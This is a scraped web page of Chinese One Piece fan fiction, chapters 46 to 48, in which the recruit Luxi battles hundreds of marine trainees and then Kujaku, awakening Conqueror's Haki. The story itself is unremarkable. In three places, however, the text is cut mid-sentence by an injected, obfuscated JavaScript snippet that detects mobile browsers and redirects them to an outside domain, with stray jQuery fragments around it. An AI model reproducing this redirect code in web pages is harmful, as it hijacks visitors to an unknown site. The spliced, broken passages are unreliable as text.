也不是没有听说过路希的努力，毕竟时常能看到对方在医务处出没的身影，也有其他海军的细碎谈话。然而，说到底是卡普与青雉的部下，又怎么可能真的用全力出手呢。何况常去医务室，便更加证明对方的弱小。既已带了偏见，便再无法中立思考。 “好啊，那我们就来比一比。” 面对教官的劝阻，路希不退不让，态度坚决，一旁围观的新兵中终于有按捺不住的，第一个站出来。 此前碍于对方的身份，即使有所不爽，也只能暗地里抱怨。不得不说，这种共同的情绪反而加深了他们彼此之间的感情，于是有意无意，为了维持下去，灰色的情绪愈发黏稠，将一个又一个人牢牢维系在一起。 反正大家都不爽同一个人，那说明这个人确实引起众怒。 路希打量一眼接受挑战的那个人，从教官身边越过去，站到中间的空地上，颔首示意：“第一个。” 教官眼见劝说失败，其他新兵又跃跃欲试，便清楚此事难以阻挡，有些事情发酵到这个地步也该有个结果了。总有几期新兵中会出现难搞的刺头，问题不大，多打几次就好了。实力会证明一切。 而且，她心中认为，偶尔翻个跟头不是什么坏事。海军之中，可以抱有对贵族不满的想法，甚至职位越高，就算对贵族出手，给他们一巴掌，上层也会碍于实力与其它各种原因模糊处置这种事。但杀死贵族还是过了点，虽然只是一种假设的选项，可至少不能这样光明正大的说出来。 木秀于林，风必摧之，她很清楚这种事，也并不希望一个优秀的苗子中途被毁去。 路希与这位挑战者面对面，教官在旁发号：“三、二、一。” 剃。 在教官话音落下的同时，路希心中默念道，力量汇聚脚部，她身影一闪，在这位挑战者一号还做出反应之时，便已来到他的身后。 路希一脚踹到他的膝盖后方，使其站立不稳，她迫使对方半跪，同时手中水管狠狠朝背部打去。 沉闷的一声响，一号未有任何出手机会，便在慌乱中措手不及被打倒。 围观众人所看到的，是短短数秒内，路希身影忽然的消失又出现，将那位挑战者击败在地。 “啊？”“发生什么事了？”“已经结束了？”“我还什么都没看清啊。” 战斗经验比这群新兵更丰富的教官则是一眼明了。她沉吟道：“竟然是……” 卡普中将的孙女加入海军有多久了？一个月、两个月、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她语气严厉，加之教官这个职位的威严，一时周身寂静，无人说话，只是照着她的命令行事。路希这下有些羡慕了。不过没关系，她迟早也会做到的。 “二号。” 几乎是与先前同样的攻势，忽然消失，忽然出现，击打在身一瞬的爆发力，难以承受的身体，输赢立定。 “三号。” 尚不明了对方用了什么奇怪的招式，只能以小心谨慎的态度观察着对方，考虑到先前的两位都是背部被击中，因此要格外在意身后的动静。呼吸、吐气。呼吸、吐气。消失了——然后，是身后，不、不对。 三号不敢相信的睁大了眼睛，怎么是空中啊！ 同时响起的还有对方轻松的声音：“谁跟你说我只会在一个方向发起攻击。” “四号。” 四号犹犹豫豫的上前。 “五号。” 教官一旁观战，生出欣赏之意的同时思考着局势。剃之后是月步，月步之后是岚脚，岚脚之后是指枪。除却纸绘和铁块两个偏向防御的能力，她已经学会了六式中的四式。而剩下的两式，究竟是尚未学会，还是没必要在现在用上呢？教官更偏向于后者。 六式的每一招都要消耗一定体力，毫无疑问，战斗初期的路希是体力最鼎盛的时候，然后随着对战数量的增加，就算中途休息，也不一定能回复巅峰。而新兵可有一千多人呢。照这种一个一个来的趋势，她无法在一天之内打败。那么就是说要拖到第二天了，不，教官随即否定这种念头，这是建立在路希一定会打败所有对手的基础上。而倘若她中途败北呢？ “一百零一号。” 不知不觉间，时间将近快两个小时，而路希挑战的人数，也超过了一百个。然而，她仍毫无败意。 46.在海军 恐怖的体力与绝佳的战斗天赋，相辅相成。 面对此等形势，教官如是判断。这注定是一场持久战，因此体力的分配是极重要的一环。而六式的体力消耗远超一般招式，开局就用六式对敌似乎并不理智，但接着观望下去便能理解。 每一发招式都精准的击中对手，以最快的速度解决对方，如果她已经熟悉了六式的用法，并能合理的分配力度击打对方，那么何必绕远路，用普通的招式慢慢对战。看起来最耗费体力的方式实则是最省力的。并且，这场战斗涉及到的并非只是单纯的武力。还有另一点：心理作战。 海军新兵并不知晓六式。 新兵们之所以是新兵，正是因为他们从未接受过专业的战斗训练，一招一式皆要从头学起。在训练营的这些人，许多甚至连一场像样的战斗都没经历过，最多只是街头的小打小闹。而未通过考核，更不可能出海与海贼对战，对战局限于和自己状态相差无几的同伴，便很难体会到真实的战斗是何等艰险。 因此他们最直观的感受是无措与恐惧。 为何眼前的这个对手身影诡谲无踪？为何可以在空中踏步袭来？为何明明一直移动防止对方近身，仍会被突如其来、看不见踪迹的攻击击中？为什么为什么？ 未知的招式、直观的结果，两者合二为一，形成庞大的压力重重压在他们心上。 明明是……他们彼此都认同的最弱小之人啊。 “怎么会这样？”“不可能？！”“是不是吃了恶魔果实？”“一定有哪里出了问题？”“大将都教给了她什么？” 人与人的情绪互相感染，新兵们无法保持最初的冷静。 海军教官轻轻叹了口气，这群人的气势正在逐渐减弱，她想，或许这就是对方用六式的第二个理由。 气势的败北。 一鼓作气，再而衰，三而竭。世间的战斗总是如此。事实上从四号挑战者便可看出路希对他们早有影响。心态的退缩导致出招的犹豫，对局势的茫然。即便后续路希体力不支，出招有了破绽，他们也难以察觉，因为这群人早已在心灵上对她产生了畏怯。 既已生出败北之心，路希这边反而会轻松起来。 而体力的问题，教官凝视着路希，心想，她显然不会让他们看出这一点。 的确如她所料。 “一百五十二号。” 又将近一个小时，路希换了种打法。她不再持续使用六式，而是最简单的，一步一步，不疾不徐行至对方身前，在对方谨慎与茫然的神情中，挥动水管一招将其击飞出去。 是体力已然耗尽了吗？但照这种击打的力度，显然是尚有余力的，教官凝神沉思，不过片刻便已想通。 是要迷惑对手，以及调整状态。 随着战斗次数的增加，路希的体力必定会在某场战斗中降至低点，无法继续使出六式，只能用普通招式作战，而新兵就算在怎么对她产生畏怯之心，只要眼睛好用，这种明显的虚弱状态自是能看出来的，到那时便是他们的反攻。这种被压着打毫无还手之力的情势会转变成为他们怒火的动力，这下气势就要变成路希弱他们强了。 那么便是在这件事发生之前蒙蔽他们。 不知晓六式为何物的新兵们，自然也不会清楚使用它要耗费多少体力。路希一直轻松的表情只会让他们认为她可以一直这样打下去，但只有她清楚自己的极限在哪里。 因此她要骗他们。 “一百五十三号。” 一百五十三如同前一位那样被打败。 “一百五十四号。” 这一次路希靠近他，看似要使用水管击飞，然而却是使用了指枪。这一下又让一旁观战的一些其他新兵对先前的想法产生了怀疑。 本以为之前那种神秘莫测的攻击必然会耗费体力，等体力全部消耗完总会有反击机会，而且刚才两者的普通攻击似乎也证实了这一点，但是第三人为何又…… 路希浅浅一笑：“总是用六式也很无聊呢，偶尔用普通的招式给你们点胜利的机会如何？不过……我什么时候才会用呢？要把握好机会啊。” 是挑衅。 她用挑衅的话语，掩盖了真实的目的。 那么会上当吗？ “太狂妄了！”“太看不起我们了吧！”“但是我们确实一直没打过，都快三个小时了……”“就没有人能打败她吗？” 新兵群中的嘈杂私语一时热烈起来，教官用严厉的眼神盯住，方才逐渐安静下来。不过她已经听到了，那么想必路希也听到了。教官看向对方，女孩脸上的神情与先前别无二致。 能打败她的人吗？教官在心里将这期新兵的学员快速过了一遍，说实话，由于海贼王罗杰的影响，海贼数量一时暴增，而数量的变化影响到了质量。可海军数量却并未有太多变化，尤其是在最初那几年，海军的新兵招收人数降到了最低点，因为许多人都出海当海贼去了。 直至最近几年才好一点，然而即便如此，每期招收的新兵数量也不过在千人左右，这其中又有撑不住放弃的，好的苗子少之又少。 与她同期进来的，最有机会的，恐怕是先前待在训练营的古伊娜吧。毕竟那孩子在这里也一招一个秒掉了很多人呢。但是，古伊娜已经转去女子新兵训练营了，虽都是新兵训练营，但并不在同个训练场。 也不知道她之后会不会去挑战女子训练营那里挑战呢，教官忍不住沉思，女子兵比这里的新兵更少……啊，打住打住，还是先等这里的战斗结束吧。 有一说一，教官并不认为路希真的会赢到最后，毕竟人数的压制是实打实的，她的体力与同龄的孩童相比，确实恐怖，但新兵可是有一千五百多人啊。不过，就算中途败北，想必也不会有人说什么，因为到目前为止，她所展现出的实力已经足够让人心悦诚服。 可话说回来，既然这个孩子能在短短时间内学会六式，掌握它们的用法，如此天赋展现在她眼前，教官心想，她是否可以抱有期待呢？ 战斗持续着，又过一段时间，人数已到达两百人。 而青雉也来到了这里。 今天早上难得的，路希没来吵醒他。不过即便如此，青雉也没睡多久，生物钟被迫形成，他在五点多自动醒来，躺在床上发呆了一段时间也没等到熟悉的吵闹声音。在不可思议的情绪过后，他后知后觉想到，这个学生跑哪去了。 又在床上躺了一段时间，还是没等到，青雉慢吞吞地起身，开始思考路希的去向。总之先排除训练营，毕竟他是老师啊，学生去挑战训练营肯定会在前一日通知他一声，让他过去观战的。那难道是连续多日的训练终于病倒了吗？ 青雉一遍刷牙一边沉思。 随后出门去了医务处、食堂、军舰废弃处，自己的办公室，顺带问了副手和其他人，皆无踪迹。 最后青雉想起这个学生对女子新兵训练营的热爱，跑去了那里试图找人。没找到，倒是对方的好朋友古伊娜告诉他，“路希？今天去挑战新兵训练营了。青雉大将你不知道吗？” 青雉：“……”不知道，学生没说。学生竟然一句话都没提就自己跑去挑战了。青雉不想回答这个问题，转移了话题，“那你呢，不去看看吗？” 古伊娜坦然道：“我今天的训练还没完成。而且我相信她。” 这话说得，好像对方挑战新兵训练营一千多个人的举动就跟吃饭喝水一样是常事。青雉没多说什么，结束对话后向着训练营走去。 其实先前也经过训练营的外围，但看新兵们一个个列队站立，里三层外三层，还以为是在训练站姿呢，远远地瞥了一眼就走了。 结果最里层真是他的学生在挑战啊。 青雉接受教官的问好，默默纠结着为何路希没告诉他这件事，站在一旁观看着局势。以他的视角看，除非新兵中出现萨卡斯基和他这样的怪物，否则对战前期，路希的胜率都是稳定的。至于后期，则要看她的身体能撑到什么时候。 体力与意志力，才是决定这场战斗结果的重要因素。 不过稳定的打五百人不是什么问题。断断续续将近两个多月的训练时间，让青雉相当清楚的明白，他的学生是这期新兵中的怪物。 时间已过六个小时，败倒在路希手下的也有四百多人。此时围绕着新兵们的这股寂静，说是平静，倒不如说是麻木。 整整六个小时，他们这群新兵中，没有一个人能在这个狂妄的挑战者手中撑过三招。先前的窃窃私语不再出现，倒下的新兵是最好的证明——他们太弱了。 对方的每一次出手，仿佛都是对他们的嘲笑。愈是看不起一个人，败北后遭受到的情绪反噬反而会比通常情况更加严重。 教官环视新兵一眼，皱了下眉，这样下去不行，继续保持这样的形势，他们会完全失去动力。到时候根本称不上对战，路希也没必要使出六式，只是一个人站上去，另一个人拿水管挥出去而已。 何况，她又看了一眼路希，这家伙的体力想必也消耗到一定程度了。她走向其他围观的教官，聊了片刻，做出决定。 于是，在四百七十二号败北，四百七十三号即将上场前，这位教官率先出声：“上午的挑战到此结束，各自散队，一小时休息时间。之后继续。” 不管如何，得先让这群新兵从这种情绪中脱离出来，吃饭也好睡十几分钟也好，一味沉溺可不是什么好事。 对于这个命令，路希没有反对。这不是能轻松结束的战斗，她中途必须停下来恢复体力。她可能是有点狂妄，但还没到过于高看自己实力的地步。 人群沉默着散场，诸多复杂的视线落在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243676|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上。路希统统无视，这群人现在唯一要做的事是败给她，至于其他，她才懒得想。 青雉走向她，高大的身影笼罩住路希，她后知后觉抬头看了一眼，愣了一会，才想起打招呼：“老师好，你来了呀，一起去食堂吃个饭吗？” 路希抬脚就走。 青雉：“……”说无礼吧又是有礼貌的，看见人知道问好，说有礼貌呢挑战新兵这么个大事是一句不提的，自己拿着武器就来了。他和他的部下好歹也辛辛苦苦跟她训练了个把月吧。青雉叹了口气，说道：“走吧。” 一路上，青雉保持沉默，路希也未主动开口。最后还是青雉主动问话：“为什么不提前告知？” 路希摸摸鼻子，有些不好意思：“我忘了。” 青雉下意识重复一遍：“忘了。” 路希点头：“嗯，忘了。” 她本身并非是为了向青雉证明自己的实力才如此努力的，她纯粹是为了她自己的目标而行动。因此数个星期的训练下来，她的身体告知她可以了，差不多了，训练带给她的提升到极限了时，她便全身心都放在自己的对手——那群新兵上，要如何作战，怎么作战，一个一个打飞到后期还是有点难度的，因此中间少不了心理上的压制。那么又要怎么才能实施呢？ 她的注意力全部集中在对手方面，因此一些非必要的事便被忽视了。 另一点，说的再直白一点，青雉属于海军大将，不是她这边势力的成员。未来她叛出海军还不一定能拐过来，反而会是敌人，刀剑相向。目前她对青雉有点感情，但着实不多。因此忘得理所当然。 不过全部解释起来太累了，还涉及到不能说的部分，因此路希只是简单的说了句，忘了。那青雉又能怎么办呢，她接下去还要继续和这群新兵作战诶，难道要责骂她吗？何况，这位大将平时看起来也不像是在意这种规矩分明的事。 于是路希等了半晌，听到对方无可奈何的声音，“下次别什么都忘。” 她老实点头：“噢噢，好。” 一个小时的休息时间，这期间路希吃了饭，重回到训练场闭眼小憩。而新兵们同样的吃了饭，回来休息，并且接受教官们的训导与鼓励。 路希的耳朵动了动，上午那种接近绝望的气氛或许将被打散了，但不是什么大问题，此时短暂恢复的自信只是因为战斗还未开始，一旦开始，若她继续保持连续胜利，这种绝望还会再度袭来，并且因为来过一次，那种难以胜利的无力感只会愈加沉重，她说过的，要让他们笼罩在实力的阴影下。 不过她体力的消耗是事实，与上午刚开始时的精力充沛不同，一个小时的休息时间不能完全恢复。下午的战斗要逐渐减少六式的使用，并且要尽量减少直接使用“力”去攻击，而是借力，多击打在人体的要害处。 “四百七十三号。” 她起身，继续喊道。 四百七十三号小腿发颤，他可是看了一上午这个人是怎么打败其他新兵的，他在心中鼓励着自己，回想起教官先前对他们说的话。是啊，再怎么能打也是七岁的小孩，打着打着还不是要去吃饭睡觉恢复体力，他可没有打了一上午，对方的体力与上午比起来肯定减少了。他有希望的，四百七十三号感觉自己的自信提高了一点，随后在下一秒被击败。 四百七十三号：“……” 四百七十三号安静地闭上眼睛，默默想道，对不起教官，虽然他努力自信了，但是实力的差距好像不是自信就能弥补的。 “四百七十四号。” 路希丝毫没受到影响，继续战斗。而围观的人数也越来越多。 上午没什么人出去，因此训练营的这场挑战几乎没人知道。然而中午一小时的休息时间，足够让这事散播出去了。因此不少其他海军也来了训练营看看热闹，其中包括青雉的副手和部下们，正围在一旁讨论要不要准备横幅支持路希，这可是他们这边带出来的新兵！青雉默默远离了他们。 而随着路希胜利次数的不断增多，人群愈发密集，后勤部的，医务处的，从外返回的，渐渐地都来到此处，来观看这个放言要打败所有海军新兵的女孩，最后会赢到什么时候才会败北。 “五百七十三号。” 然而，她战斗的身影依然未见倒下的迹象。 还有余力啊，青雉注视着场中之人，接着环视了一眼剩余的新兵，唔，照目前的情况看，顺利打败一千人不是什么问题。如果中途没出现什么意外情况…… 正在他如此思考的同时，一道清脆的鞭声响起。青雉抬眸看去，五百七十五号被忽如其来的鞭子击飞出去，代替他上场的是一位金发少年，嘴角微微上翘，语气自带笑意：“和这些人再打下去也不会有什么结果，还是和我打一场吧。” 他认识这个人，是鹤中将的孙女，孔雀。 47.在海军 路希歪歪脑袋，视线从金发少年的脸上移动到她手中的鞭子上。想起古伊娜先前对她描述的关于孔雀的情报，再看场外，古伊娜也站在人群中围观，两人视线对上瞬间，她心中有了答案，但仍是对着孔雀开口问道：“你是谁？” “我吗？”孔雀的笑意加深，随后拇指与拇指相碰，食指与食指相碰，摆出一个爱心的形状，对她眨了眨眼，说道，“现在知道了吗???” 路希：“……”她被这种浮夸的表演震到了。路希点点头，“孔雀。” 孔雀眉眼弯弯：“好孩子。” 路希感觉自己起了鸡皮疙瘩，她也许要败了。她回忆了一下孔雀的年龄，嗯，十四岁，比她才大七岁。倒是旁边有不少围观的海兵欢呼，“哦哦，孔雀妹妹。” 看起来人气不错。 孔雀微微垂眸俯视着她，问道：“怎么样呢？和我来打一场。” 虽是询问，却是强势的态度。路希迅速在脑子里转了一遍孔雀的信息：中将鹤的孙女，鞭鞭果实能力者，去年加入海军，与古伊娜打过七次，四赢一平局二败。已知会使用的六式是剃，其它五式未知。霸气掌握情况未知。 实力强劲的对手。 孔雀不在她的计划内，先前三个月她们一次都未相遇，这次她未与卡普一同出航，除却挑战新兵，也抱着能否遇见孔雀的想法。只是没想到直接在训练营相见了。她原本是想着打败全部新兵后，再去认识孔雀。 不过算了，现在这种情况也不算坏。 至于是否接受……路希欣然应允：“好。” 打败这群新兵本就是为了证明自己的实力，而孔雀的名气与实力显然比他们强，赢了带给她的好处更多。至于输……恐怕这群海军新兵会立马疯狂推崇孔雀，将对她的恐惧转化为对孔雀的赞美，她赢到现在的成果会直接消失成空。 但路希还是决定一试，一来古伊娜曾与她一同复盘过对孔雀的战斗。二来，她还有个谁都没告诉的底牌。 既然有胜率，何必怯战。 啪！ 孔雀一甩鞭子，重重的鞭打声落在地上，笑容越发张扬，“那被打到了可不准哭哦???” 路希也对着她笑道：“那你败北了也不准哭哦。” 话音落下，两人视线交织一秒，孔雀旋即出手，长长的鞭子朝路希袭去。就刚才对方展示的力度而言，被这个鞭子打到可不是开玩笑。路希凝神，直接用剃闪躲，试图接近她。然而她身影消失的当下，孔雀却轻笑了笑，瞬时收鞭在自己周身抽打了下去。 她可不是刚来的。在发出这场战斗邀请前，孔雀已经观望了对方的战斗一段时间。了解对手才能让自己的战斗胜率更高。 路希最喜欢的一招是，用剃拉进距离，随后用手中的水管击打对方。 然而，她是鞭鞭果实能力者，被她抽打到的事物，无论是什么，房子、地面、刀剑，都会听从她的命令行事。 只要路希用水管与她的鞭子碰上，那她便能掌握对方的武器。 而若路希警惕她的能力，未用水管，那她的鞭子也可以落到她身上，造成伤害。 鞭子在她周身挥舞得刷刷作响，一秒后，路希的身影出现在她的远处。 没法靠近，路希推断局势，原本可用水管抵挡，但鞭鞭果实的能力会发挥作用，水管会成为孔雀手中的武器转而伤害到她。用身体硬抗也不行，六式之一的铁块虽能抵挡伤害，但使用这一招时无法自由移动，反而极有可能被孔雀抽飞出去。虽然也不是做不到将身体部分铁块化，可那要耗费的精力更多，并且孔雀的鞭子落向是自由的，随时可以击打她其它脆弱的部位，得不偿失。 孔雀握住鞭子，一把将它拉直，绿色眸子燃起些许兴奋的光，“哦呀哦呀，怎么离姐姐越来越远了呢？” 路希思考了一下要怎么回答，思考过后发现自己尚不太会应对这种类型的人，于是放弃回答，转而思考对策。 远程攻击吗？但若只是短短一招，孔雀应当能轻易挡下，那连续使用指枪和岚脚，若用这两招连续攻击，则要考虑体力的事。她的体力本身便在先前的新兵上浪费了不少，不能轻易出招，必须得找个好时机。 路希思索的同时，孔雀毫不犹豫攻了过去，鞭子啪啪抽打在地面，只见原本平实的地面，竟然不断拱了起来，涌动着逼近路希。 孔雀一边鞭子抽打前方大片的地面，一边强势喊道：“给我前进啊——！” 地面也能控制吗？不愧是鞭鞭果实能力者。照这样下去她会毫无退路，事已至此只能先用月步上天了。 踏、踏、踏。 脚步迈在空气中的声音，与此同时，路希对着孔雀拿着鞭子的手腕发射了指枪，接着又是第二枪，孔雀迅速后跳闪退，视线紧紧盯着空中的路希不放，一副游刃有余的态度；“你能在上面待多久呢？” 路希笑答：“当然是马上下来找你。” 月步加指枪，急促的战斗局势，一瞬间消耗的体力比先前击飞几十个海军的战斗加起来还要多。 水管派不上太多用场，路希干脆利落地把它扔到远处，避免孔雀有鞭打到的机会。古伊娜赢的两次，是她“快”，古伊娜是剑客，绝不会丢下手中的刀，因此她只能在速度上发挥优势，快到躲开孔雀的全部攻击，快到让孔雀来不及反应，直接一刀解决。 但孔雀也并非不会进步，因此古伊娜只赢了两次。 那么她呢，路希心想，她必须要靠近孔雀，在躲闪她的鞭子攻击的同时击中她，夺去她的鞭子或是让她彻底失去战斗能力。 战局拖长，于她而言不是好事。 既然如此，似乎只能拿出那一招试试了。那些天她在卡普的船上，被当成鱼饵钓海王类，被随时随地忽然出现的铁拳攻击，以及返回海军总部后，跟卡普的部下、青雉的部下，对打的同时有意锻炼的见闻色霸气。 她终于学会的见闻色霸气。 只是有个小缺点，刚学会没多久，还不太稳定。因此是个不太合格的底牌。 路希从空中落下，在地上站定，孔雀的鞭子重重鞭打在地，地面再次蠕动着向她涌来。她看了一眼，心神无惧，既已做好决定，那便只能向前。 多余的情绪被舍弃，只剩下赌上此身残存力量结束战斗的坚定意志，呼吸落下的同时，路希瞬间发力。 ——六式·剃。 路希用极快的速度跃过了这些涌动着的阻拦她的地面，在一瞬间逼至孔雀身前。她双手握紧成拳，眼看下一刻就要击 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“你——” 右手传来疼痛感，似是要将骨头捏碎的力度，难以再将鞭子挥动一步。孔雀脸上的神色不再如同方才那般轻松，来不及思考对方是如何躲闪过她的全部攻击。她定下心神，既然路希要用拳头击打她，那她也用拳头接回去。 两人的左手与右手相撞，重重一声响。还不够，这种力度还不够。下一秒，双方又挥出新的一击，拳拳到肉。 局势陷入僵持，汗水不断从双方的脸颊上滴落，这就是纯粹赌体力的时刻了。 ——必须要赢。 ——一定要赢。 路希大口喘着气，体力消耗过多，她已经被孔雀逼退了一步。 ——绝不能再退。 赌上全部，她命令自己的身体与大脑，赌上全部。她挥出最后一拳，与孔雀的拳头相撞。 霎那间，一股磅礴的气势从她体内涌出，恍若不可挡的海啸一般浩浩荡荡向周围的一切存在席卷而去，似要全部吞噬。 远远的在后方观战的青雉不可思议地睁大了眼睛，感受着自路希身上传来的这股气息。“这是……霸王色霸气？”他下意识脱口而出。 “今年的新兵，确实是出了个怪物啊。” 自孔雀上场，走到青雉身旁与他一同观战，偶尔交流点评的鹤双手抱臂点评道，难以从她的语气中听出具体情绪。 如此威压—— 这股气势毫不留情地吞噬了在场的所有人。训练场上的海军新兵，全部陷入昏迷。而一旁观战的普通观众，被鹤释放霸气及时护住，霸气与霸气互相抵消，但仍是让他们感觉身体沉重，像有石头压着肩膀。 而在场中的孔雀，只觉双腿发软，全身无力，难以站稳，她踉跄几步，终究是跪了下去，现在，是路希俯视着她。 她已败北，不用别人提醒，孔雀已经明白了这件事。她挥不出下一拳。 而取得胜利的路希忽视了周遭其它情况，只全神贯注地盯着她，随后，忽然绽出一个些许恶劣的笑容：“要哭了吗？孔雀姐·姐。”她加重了姐姐二字的发音。 48.在海军 孔雀仰头望着路希，先前古伊娜曾对她简单介绍过这个孩子，那时她并未对其产生什么深刻印象，只觉得是一个对自己实力过度自信爆棚的小鬼。 海军这种随时会赌上生命的职业，这种过头的自信不知是好是坏。不过就现在的情况而言，似乎是她判断错误。 有趣。 败北并未给她带来多大打击，孔雀今年十四岁，正是格外斗志昂扬的时期。她勾起嘴角，“怎么会，我都还没看见你哭呢，路希小·妹·妹。” 她可是实打实的比对方大七岁呢，永远都能在年龄压制一头。 这人也挺难搞的，路希心里琢磨着，但她打得很过瘾，大脑蠢蠢欲动的想要招揽孔雀到她的势力里。不过，考虑到对彼此都缺乏了解，恐怕还要继续相处下去看看情况才行。 路希笑了一下，说出近似挑衅的发言：“那我等着你把我打哭的那一天。”她直起身子，不再弯腰看孔雀。胜利带来的激动情绪散去，这才感觉到身体疲惫不堪，以及……路希茫然地看着周围，发问：“他们怎么都倒地上了？” 安好的围观群众：…… 青雉：…… 你说呢！ 有经验的人已经看出是霸王色霸气的影响，而散出这股霸气的人应当便是处于中心处的路希，毕竟也只有她一人站着。但是，看对方不明所以的神情，显然是在无意识中放出来的。一些年岁较长的海军心思迅速活络起来——一个有中将卡普做靠山，天赋过人的孩子，未来在海军的地位必然只高不低。 鹤出来主持局势。 她职位高，资历老，又是海军本部的大参谋，人人都对她持有一份尊敬，尤其是女性，敬意只多不少。 稍显混乱的情况立马变得有序起来：医务处的人收到通知前来检查昏迷新兵的情况，现场没事干的海军也被抓来当劳力，其它无关紧要的人退场，避免人群过于拥挤。 孔雀勉强着支撑起身体，自行去找医生。路希则是与古伊娜汇合。 古伊娜此时的情绪稍显复杂，但仍发出真心的赞赏：“恭喜你，第一个目标达成了。” 体力消耗过多，路希有些困乏，与古伊娜一同找了个角落坐下，手抵着下巴，困惑道：“其实我还没搞懂到底发生了什么，好像当时忽然有股力量控制不住，爆发了出去，接着大家都倒了下去……不过孔雀抵挡住了呢。” “那是你的霸王色霸气。” 穿过人群来找自家学生的青雉正好解答了对方的疑惑。 路希抬头，呆了一瞬，“这就是霸王色霸气？！” 青雉点头，应道，“嗯，有战斗经验或自身也拥有霸气的人更容易抵挡住，但这些新兵实力还没到那种程度。” 路希“唔”了一声：“我这算学会了还是没有呢？” 青雉：“要说的话，你只是恰巧将它激发了出来，离真正掌握这股力量还差得远。” 于是路希对着青雉露出了笑容，说道：“老师，你还会继续训练我的，对吧。” 青雉：“……” 另一边，鹤迈步走到了自家孙女身边，孔雀并无大碍，只需好好休息即可。鹤点头对众人的问好作出回应，问道：“感觉如何？” 在自家姥姥面前，孔雀倒是没有了方才那副狂傲的模样，撒娇道：“姥姥~”尾音拖长，与刚才同路希交谈相比，简直是两个人。鹤亲昵地将她落下的鬓发撩上去。 撒娇过后，孔雀恢复了正色，说着对路希的想法：“很不错，本来以为是个爱放大话的小鬼，倒是让我好好吃了一惊。但如果不是刚好放出了霸气，我会赢的。”她还是有点不甘心。 鹤评价道：“运气也是实力的一环。” 孔雀鼓起嘴：“我知道啦。” 鹤继续问下去：“要和她当朋友看看吗？就像你和古伊娜。” 孔雀想了一会，高傲地抬起下巴：“嘛，如果那家伙想和我当朋友的话，我也不是不可以。” 鹤淡淡地笑了一下，没多说什么。她清楚孔雀的性格，这两个人绝对会玩到一起。 鹤知晓路希的存在远比路希知晓她的存在更早，老朋友卡普时而会在闲谈中哀嚎，自家的小孩不听话，要去当世界之王和海贼。这股哀嚎在孔雀加入海军后更甚。 都是孙辈，怎么梦想的区别那么大？！ 卡普还过来跟她讨教过一次，询问道，小鹤啊，要怎么做才能让他家的小孩跟孔雀那样，乖乖加入海军。 鹤心想难度有点大，毕竟孔雀自幼的梦想就不是世界之王和海贼。孔雀从小被鹤的女儿带着，听着鹤的事迹长大，满脑子想成为和她一样的海军，守护大海的和平。 当时的她拍拍卡普的肩，让他努力把自己的信念传达过去。有没有传达成功她不清楚，总之其中一个小孩是过来当海军了。 是孙女，也就是原本说要当世界之王的那个孩子。 世界之王嘛，倒是让她想起了许久之前的一位海贼，也喊着这样的口号，召集一大堆在现今也可以说是极为强大的海贼们。不过那人已在神之谷一役中死亡。想当世界之王的野心同他逝去的生命一起，深深地沉入海底深处，无人提起。之后又过数年，是海贼王罗杰开启的大海贼时代。现在当海贼才是最流行的风向标啊。 关于是怎么忽然换了梦想要当海军的，卡普没细说。不过鹤多多少少还是知道一点情况。被烧毁的哥亚王国，被革命军带走的贵族们，也许会成为下一个目标的天龙人的巡游船。是卡普解决了这一切，然后就带回了蒙奇·D·路希。 这个孩子在其中扮演着什么角色呢？ 鹤回来的时候，这个叫路希的孩子已经同卡普一起出航，她们没有机会碰面。不过既然是卡普的孙女，应当也不会想着加入她的女子海军队。就好像孔雀会选择待在她的身边，路希或许也会选择待在自己的爷爷身边。 但是待在海军本部的时候又多多少少知道点其它情况。 比如，杀掉贵族这句话，很有海贼的作风，不是吗？不过也可说是孩童的妄言。以及，从古伊娜那里得到的情报，“路希吗？她本来想加入女子海军队的，不过被卡普中将拦住，丢给青雉大将了。” 鹤倒不觉得是卡普嫌弃自己的女子海军队，她只是觉得有些异常。卡普是一个希望自家小孩当海军的人，如果路希真如他所愿加入海军，并且想加入女子海军队训练自己，他高兴还来不及，怎么会阻拦。此外，青雉是卡普的学生，如果海军内部的阵营要做个明确的划分，那青雉属于卡普一方。 卡普并不希望路希离他的视野太远，鹤隐隐的察觉到这一点。因此，她几乎是有意的，在之后的出航中，与卡普的出航时间错开来。 与此同时，她通过古伊娜观察着路希。 关于古伊娜的情况也很明了，她原本对当海军并没什么想法，纯粹只是中途与路希遇上，被她拉了过来。从小孩子希望以后的生活中能有个自己的朋友这方面相处，这事好像也容易理解。 古伊娜的梦想是当天下第一的剑客，鹤看过她和孔雀的每一场对战，进步很快，从一开始狼狈的输到接下来几场的逆转局势，如果孔雀不是吃了恶魔果实，很难是她的对手。 古伊娜是一个会成为强大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256224|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的——比起海军身份——身为路希同伴的身份更加明显的剑客。 鹤作为海军本部的大参谋，其中的一个优点是不会轻易将她人的话语当做笑谈，小看她人，哪怕对象是一个小孩。 这次回来能碰上，倒也多少出乎她的意料。 鹤是在中途加入观战的，回来的时候听说卡普中将的孙女正在强势挑战海军新兵，并且已经连赢几百场仍不见败北。孔雀听闻这个消息后喊着“什么？！”然后匆匆忙地就赶过去了，路上还碰到了古伊娜。 鹤不疾不徐地走过去。 